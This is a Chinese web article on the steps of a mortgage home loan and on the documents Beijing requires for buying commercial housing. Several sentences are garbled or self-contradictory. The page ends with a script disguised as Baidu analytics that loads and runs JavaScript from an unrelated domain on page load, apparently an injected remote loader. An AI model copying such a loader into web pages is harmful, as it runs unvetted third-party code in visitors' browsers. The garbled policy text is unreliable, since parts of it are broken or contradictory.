按揭房贷款流程有哪些

买房已经成为很多人生活中的头等大事了，毕竟在城市里面没有属于自己的房子，就等于是居无定所了。由于房价越来越高，想要一次性付清全款买房是不太可能的，大部分人在买房的时候都会采用按揭贷款的方式，通过这一方式让自己可以买到心仪的房子，然后日后几十年慢慢还银行的钱。想要按揭贷款来买房的话，可以了解看看按揭房贷款流程。按揭需有三方主体：购房借贷人、开发商与银行。在开发商负责为购房借贷人办理完成房地产权证过户手续，为银行与购房借贷人办理完成正式的抵押登记，并将购房借贷人的房地产权证交银行收押之前，开发商需为购房借贷人向银行贷款提供阶段性担保，购房借贷人与银行之间，不是真正意义上的抵押关系。按揭房贷款流程(1)开发商选定银行，并与银行签订按揭贷款合作协议书，银行承诺在特定条件下向开发商的客户(购房借贷人)提供贷款，同时开发商向银行提供保证担保。(2)购房人选定欲购买的商品房，与开发商签订商品房预售或销售合同。其中约定采取向开发商选定的银行申请按揭贷款的方式付款的，购房人需向开发商支付购房首付款。(3)银行委托律师或自行对购房合同、购房借贷人贷款资格主要是个人资信予以审查。(4)购房借贷人、开发商与银行签订按揭保证贷款合同。(5)银行占管商品房预售或销售合同，并办理按揭备案。(6)银行一次性向开发商支付购房借贷人的贷款。(7)购房借贷人依约按月向银行交纳贷款本息。(8)开发商负责将购房借贷人《房屋所有权证》和《土地使用权证》交银行收押并办理正式的抵押登记。按揭房贷款利率五年以上商贷基本利息将至4.9%。经过统计5次降息，降幅达到20.33%。创历史最低。按揭房贷款流程有哪些?按揭房贷款的主要步骤就是这些，希望大家在贷款买房的时候，可以好好的了解清楚，确保自己贷款买房的时候不会过于慌张。不同银行提供的贷款利率是会不一样的，想要获得比较低的利率，可以了解下各大银行的政策。如果能够申请公积金贷款的话，记得一定要去申请，公积金贷款的利率比商业贷款低多了，买房的时候人们不需要承担那么多压力。

北京商品房贷款政策要求购买房子的必要过程和程序

北京商品房贷款政策的要求购买房子的必要过程和程序应当包括：居民家庭是本市的户籍，若想购买一套房子，需要准备所有家庭成员的户籍证明、公民证件、婚姻的复印件和原件，并将“购房承诺书”和“家庭购房申请表”从网上下载，家庭所有成员均需签字。北京驻军现役军人和现役武警家属还应当提供其军队(警察)公民证件复印件和原件。如果家庭成员不是本市的户籍，家庭成员需要持有有效的《北京市工作居住证》，还需要准备相关证件的复印件和原件。非本地户籍的居民家庭若购买房屋，需要准备所有家庭成员的公民证件、婚姻和户籍证明的复印件和原件，并且准备所有人有效的临时居留证。同时要联系相关单位准备本市个人所得税缴纳证明原件、复印件或提供已缴纳的社会保险家庭成员姓名、人、证件信息。购房者提交这些资料后，房地产开发企业、中介机构和库存房屋网签服务窗口对上述材料进行初步核查。按照商品房贷款政策的要求，需要在在北京房地产交易系统中填写该商品房的购房支票相关信息，需要准备、等复印件和原件。如果任一材料无法提供或材料不符合要求条件，则无法按照商品房贷款政策办理。按照商品房贷款政策的要求，本市和各区县的相关住建委部门会根据具体情况与有关部门合作，在5个工作日内对购房家庭的购房资格进行审核。经核实购房的家庭，可以在网上办理签约手续。在网上成功签订合同后，经纪机构和服务窗口、房地产开发企业需要将《购房承诺书》原件和其他材料复印件作为合同附件，申请办理房屋产权登记时提交。这时房屋登记部门开始查资料，提供虚假资料，隐瞒房屋情况，不办理房屋登记；如资料准确无误，将办理产权登记手续。据了解，按照商品房贷款政策的要求，本市和各区县的相关住建委部门会根据具体情况与有关部门合作，实施经纪机构限制购买的政策检查，加强房地产企业的监管力度。按照商品房贷款政策的要求，如果没有购房材料存在问题，将追根溯源依法严肃处理。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();